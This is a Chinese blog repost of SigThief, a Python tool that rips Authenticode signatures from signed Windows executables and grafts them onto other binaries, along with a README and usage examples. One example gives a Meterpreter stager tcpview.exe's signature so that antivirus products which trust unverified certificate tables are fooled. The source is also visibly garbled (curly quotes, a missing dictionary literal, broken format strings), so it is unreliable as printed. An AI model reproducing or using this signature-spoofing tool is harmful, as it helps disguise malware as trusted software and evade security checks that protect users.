Windows 签名伪造工具的使用,Python,签名

Posted 2022-11-01 csnd

#!/usr/bin/env python3
# LICENSE: BSD-3
# Copyright: Josh Pitts @midnite_runr

import sys
import struct
import shutil
import io
from optparse import OptionParser


def gather_file_info_win(binary):
        """
        Borrowed from BDF...
        I could just skip to certLOC... *shrug*
        """
        flItms = 
        binary = open(binary, ‘rb‘)
        binary.seek(int(‘3C‘, 16))
        flItms[‘buffer‘] = 0
        flItms[‘JMPtoCodeAddress‘] = 0
        flItms[‘dis_frm_pehdrs_sectble‘] = 248
        flItms[‘pe_header_location‘] = struct.unpack(‘<i‘, binary.read(4))[0]
        # Start of COFF
        flItms[‘COFF_Start‘] = flItms[‘pe_header_location‘] + 4
        binary.seek(flItms[‘COFF_Start‘])
        flItms[‘MachineType‘] = struct.unpack(‘<H‘, binary.read(2))[0]
        binary.seek(flItms[‘COFF_Start‘] + 2, 0)
        flItms[‘NumberOfSections‘] = struct.unpack(‘<H‘, binary.read(2))[0]
        flItms[‘TimeDateStamp‘] = struct.unpack(‘<I‘, binary.read(4))[0]
        binary.seek(flItms[‘COFF_Start‘] + 16, 0)
        flItms[‘SizeOfOptionalHeader‘] = struct.unpack(‘<H‘, binary.read(2))[0]
        flItms[‘Characteristics‘] = struct.unpack(‘<H‘, binary.read(2))[0]
        #End of COFF
        flItms[‘OptionalHeader_start‘] = flItms[‘COFF_Start‘] + 20

        #if flItms[‘SizeOfOptionalHeader‘]:
            #Begin Standard Fields section of Optional Header
        binary.seek(flItms[‘OptionalHeader_start‘])
        flItms[‘Magic‘] = struct.unpack(‘<H‘, binary.read(2))[0]
        flItms[‘MajorLinkerVersion‘] = struct.unpack("!B", binary.read(1))[0]
        flItms[‘MinorLinkerVersion‘] = struct.unpack("!B", binary.read(1))[0]
        flItms[‘SizeOfCode‘] = struct.unpack("<I", binary.read(4))[0]
        flItms[‘SizeOfInitializedData‘] = struct.unpack("<I", binary.read(4))[0]
        flItms[‘SizeOfUninitializedData‘] = struct.unpack("<I",
                                                               binary.read(4))[0]
        flItms[‘AddressOfEntryPoint‘] = struct.unpack(‘<I‘, binary.read(4))[0]
        flItms[‘PatchLocation‘] = flItms[‘AddressOfEntryPoint‘]
        flItms[‘BaseOfCode‘] = struct.unpack(‘<I‘, binary.read(4))[0]
        if flItms[‘Magic‘] != 0x20B:
            flItms[‘BaseOfData‘] = struct.unpack(‘<I‘, binary.read(4))[0]
        # End Standard Fields section of Optional Header
        # Begin Windows-Specific Fields of Optional Header
        if flItms[‘Magic‘] == 0x20B:
            flItms[‘ImageBase‘] = struct.unpack(‘<Q‘, binary.read(8))[0]
        else:
            flItms[‘ImageBase‘] = struct.unpack(‘<I‘, binary.read(4))[0]
        flItms[‘SectionAlignment‘] = struct.unpack(‘<I‘, binary.read(4))[0]
        flItms[‘FileAlignment‘] = struct.unpack(‘<I‘, binary.read(4))[0]
        flItms[‘MajorOperatingSystemVersion‘] = struct.unpack(‘<H‘,
                                                                   binary.read(2))[0]
        flItms[‘MinorOperatingSystemVersion‘] = struct.unpack(‘<H‘,
                                                                   binary.read(2))[0]
        flItms[‘MajorImageVersion‘] = struct.unpack(‘<H‘, binary.read(2))[0]
        flItms[‘MinorImageVersion‘] = struct.unpack(‘<H‘, binary.read(2))[0]
        flItms[‘MajorSubsystemVersion‘] = struct.unpack(‘<H‘, binary.read(2))[0]
        flItms[‘MinorSubsystemVersion‘] = struct.unpack(‘<H‘, binary.read(2))[0]
        flItms[‘Win32VersionValue‘] = struct.unpack(‘<I‘, binary.read(4))[0]
        flItms[‘SizeOfImageLoc‘] = binary.tell()
        flItms[‘SizeOfImage‘] = struct.unpack(‘<I‘, binary.read(4))[0]
        flItms[‘SizeOfHeaders‘] = struct.unpack(‘<I‘, binary.read(4))[0]
        flItms[‘CheckSum‘] = struct.unpack(‘<I‘, binary.read(4))[0]
        flItms[‘Subsystem‘] = struct.unpack(‘<H‘, binary.read(2))[0]
        flItms[‘DllCharacteristics‘] = struct.unpack(‘<H‘, binary.read(2))[0]
        if flItms[‘Magic‘] == 0x20B:
            flItms[‘SizeOfStackReserve‘] = struct.unpack(‘<Q‘, binary.read(8))[0]
            flItms[‘SizeOfStackCommit‘] = struct.unpack(‘<Q‘, binary.read(8))[0]
            flItms[‘SizeOfHeapReserve‘] = struct.unpack(‘<Q‘, binary.read(8))[0]
            flItms[‘SizeOfHeapCommit‘] = struct.unpack(‘<Q‘, binary.read(8))[0]

        else:
            flItms[‘SizeOfStackReserve‘] = struct.unpack(‘<I‘, binary.read(4))[0]
            flItms[‘SizeOfStackCommit‘] = struct.unpack(‘<I‘, binary.read(4))[0]
            flItms[‘SizeOfHeapReserve‘] = struct.unpack(‘<I‘, binary.read(4))[0]
            flItms[‘SizeOfHeapCommit‘] = struct.unpack(‘<I‘, binary.read(4))[0]
        flItms[‘LoaderFlags‘] = struct.unpack(‘<I‘, binary.read(4))[0]  # zero
        flItms[‘NumberofRvaAndSizes‘] = struct.unpack(‘<I‘, binary.read(4))[0]
        # End Windows-Specific Fields of Optional Header
        # Begin Data Directories of Optional Header
        flItms[‘ExportTableRVA‘] = struct.unpack(‘<I‘, binary.read(4))[0]
        flItms[‘ExportTableSize‘] = struct.unpack(‘<I‘, binary.read(4))[0]
        flItms[‘ImportTableLOCInPEOptHdrs‘] = binary.tell()
        #ImportTable SIZE|LOC
        flItms[‘ImportTableRVA‘] = struct.unpack(‘<I‘, binary.read(4))[0]
        flItms[‘ImportTableSize‘] = struct.unpack(‘<I‘, binary.read(4))[0]
        flItms[‘ResourceTable‘] = struct.unpack(‘<Q‘, binary.read(8))[0]
        flItms[‘ExceptionTable‘] = struct.unpack(‘<Q‘, binary.read(8))[0]
        flItms[‘CertTableLOC‘] = binary.tell()
        flItms[‘CertLOC‘] = struct.unpack("<I", binary.read(4))[0]
        flItms[‘CertSize‘] = struct.unpack("<I", binary.read(4))[0]
        binary.close()
        return flItms


def copyCert(exe):
    flItms = gather_file_info_win(exe)

    if flItms[‘CertLOC‘] == 0 or flItms[‘CertSize‘] == 0:
        # not signed
        print("Input file Not signed!")
        sys.exit(-1)

    with open(exe, ‘rb‘) as f:
        f.seek(flItms[‘CertLOC‘], 0)
        cert = f.read(flItms[‘CertSize‘])
    return cert


def writeCert(cert, exe, output):
    flItms = gather_file_info_win(exe)
    
    if not output: 
        output = output = str(exe) + "_signed"

    shutil.copy2(exe, output)
    
    print("Output file: 0".format(output))

    with open(exe, ‘rb‘) as g:
        with open(output, ‘wb‘) as f:
            f.write(g.read())
            f.seek(0)
            f.seek(flItms[‘CertTableLOC‘], 0)
            f.write(struct.pack("<I", len(open(exe, ‘rb‘).read())))
            f.write(struct.pack("<I", len(cert)))
            f.seek(0, io.SEEK_END)
            f.write(cert)

    print("Signature appended. \nFIN.")


def outputCert(exe, output):
    cert = copyCert(exe)
    if not output:
        output = str(exe) + "_sig"

    print("Output file: 0".format(output))

    open(output, ‘wb‘).write(cert)

    print("Signature ripped. \nFIN.")


def check_sig(exe):
    flItms = gather_file_info_win(exe)
 
    if flItms[‘CertLOC‘] == 0 or flItms[‘CertSize‘] == 0:
        # not signed
        print("Inputfile Not signed!")
    else:
        print("Inputfile is signed!")


def truncate(exe, output):
    flItms = gather_file_info_win(exe)
 
    if flItms[‘CertLOC‘] == 0 or flItms[‘CertSize‘] == 0:
        # not signed
        print("Inputfile Not signed!")
        sys.exit(-1)
    else:
        print( "Inputfile is signed!")

    if not output:
        output = str(exe) + "_nosig"

    print("Output file: 0".format(output))

    shutil.copy2(exe, output)

    with open(output, "r+b") as binary:
        print(‘Overwriting certificate table pointer and truncating binary‘)
        binary.seek(-flItms[‘CertSize‘], io.SEEK_END)
        binary.truncate()
        binary.seek(flItms[‘CertTableLOC‘], 0)
        binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")

    print("Signature removed. \nFIN.")


def signfile(exe, sigfile, output):
    flItms = gather_file_info_win(exe)
    
    cert = open(sigfile, ‘rb‘).read()

    if not output: 
        output = output = str(exe) + "_signed"

    shutil.copy2(exe, output)
    
    print("Output file: 0".format(output))
    
    with open(exe, ‘rb‘) as g:
        with open(output, ‘wb‘) as f:
            f.write(g.read())
            f.seek(0)
            f.seek(flItms[‘CertTableLOC‘], 0)
            f.write(struct.pack("<I", len(open(exe, ‘rb‘).read())))
            f.write(struct.pack("<I", len(cert)))
            f.seek(0, io.SEEK_END)
            f.write(cert)
    print("Signature appended. \nFIN.")


if __name__ == "__main__":
    usage = ‘usage: %prog [options]‘
    parser = OptionParser()
    parser.add_option("-i", "--file", dest="inputfile", 
                  help="input file", metavar="FILE")
    parser.add_option(‘-r‘, ‘--rip‘, dest=‘ripsig‘, action=‘store_true‘,
                  help=‘rip signature off inputfile‘)
    parser.add_option(‘-a‘, ‘--add‘, dest=‘addsig‘, action=‘store_true‘,
                  help=‘add signautre to targetfile‘)
    parser.add_option(‘-o‘, ‘--output‘, dest=‘outputfile‘,
                  help=‘output file‘)
    parser.add_option(‘-s‘, ‘--sig‘, dest=‘sigfile‘,
                  help=‘binary signature from disk‘)
    parser.add_option(‘-t‘, ‘--target‘, dest=‘targetfile‘,
                  help=‘file to append signature to‘)
    parser.add_option(‘-c‘, ‘--checksig‘, dest=‘checksig‘, action=‘store_true‘,
                  help=‘file to check if signed; does not verify signature‘)
    parser.add_option(‘-T‘, ‘--truncate‘, dest="truncate", action=‘store_true‘,
                  help=‘truncate signature (i.e. remove sig)‘)
    (options, args) = parser.parse_args()
    
    # rip signature
    # inputfile and rip to outputfile
    if options.inputfile and options.ripsig:
        print("Ripping signature to file!")
        outputCert(options.inputfile, options.outputfile)
        sys.exit()    

    # copy from one to another
    # inputfile and rip to targetfile to outputfile    
    if options.inputfile and options.targetfile:
        cert = copyCert(options.inputfile)
        writeCert(cert, options.targetfile, options.outputfile)
        sys.exit()

    # check signature
    # inputfile 
    if options.inputfile and options.checksig:
        check_sig(options.inputfile) 
        sys.exit()

    # add sig to target file
    if options.targetfile and options.sigfile:
        signfile(options.targetfile, options.sigfile, options.outputfile)
        sys.exit()
        
    # truncate
    if options.inputfile and options.truncate:
        truncate(options.inputfile, options.outputfile)
        sys.exit()

    parser.print_help()
    parser.error("You must do something!")

View Code

 

仅限安全专业人员......

这是什么？

多年来，我注意到在针对反病毒软件的测试中，每个都是不同的，并且每个PE签名的优先级不同，无论签名是否有效。有些反病毒软件供应商优先考虑某些证书颁发机构而不检查签名是否真正有效，并且有一些只是检查以查看certTable是否填充了某些值。一团糟。

所以我发布这个工具让你快速进行测试，并随时向供应商报告。

简而言之，它将从已签名的PE文件中删除签名并将其附加到另一个文件，修复证书表以对文件进行签名。

当然，这不是一个有效值的签名，这就是重点！

我期待听到您的结果！

 

如何使用 ?

用法

Usage: sigthief.py [options]

Options:
  -h, --help            show this help message and exit
  -i FILE, --file=FILE  input file
  -r, --rip             rip signature off inputfile
  -a, --add             add signautre to targetfile
  -o OUTPUTFILE, --output=OUTPUTFILE
                        output file
  -s SIGFILE, --sig=SIGFILE
                        binary signature from disk
  -t TARGETFILE, --target=TARGETFILE
                        file to append signature too
  -c, --checksig        file to check if signed; does not verify signature
  -T, --truncate        truncate signature (i.e. remove sig)

从二进制文件中获取签名并将其添加到另一个二进制文件中

$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe 
Output file: /tmp/msftesting_tcpview.exe
Signature appended. 
FIN.

将签名保存到磁盘以供以后使用

$ ./sigthief.py -i tcpview.exe -r                                                        
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped. 
FIN.

使用翻录签名

$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe                               
Output file: x86_meterpreter_stager.exe_signed
Signature appended. 
FIN.

截断（删除）签名

这实际上有非常有趣的结果，可以帮助您找到重视代码功能签名的AV。Unsign putty.exe;）

$ ./sigthief.py -i tcpview.exe -T    
Inputfile is signed!
Output file: tcpview.exe_nosig
Overwriting certificate table pointer and truncating binary
Signature removed. 
FIN.

检查是否有签名（不检查有效性）

$ ./sigthief.py -i tcpview.exe -c
Inputfile is signed!
git clone https://github.com/secretsquirrel/SigThief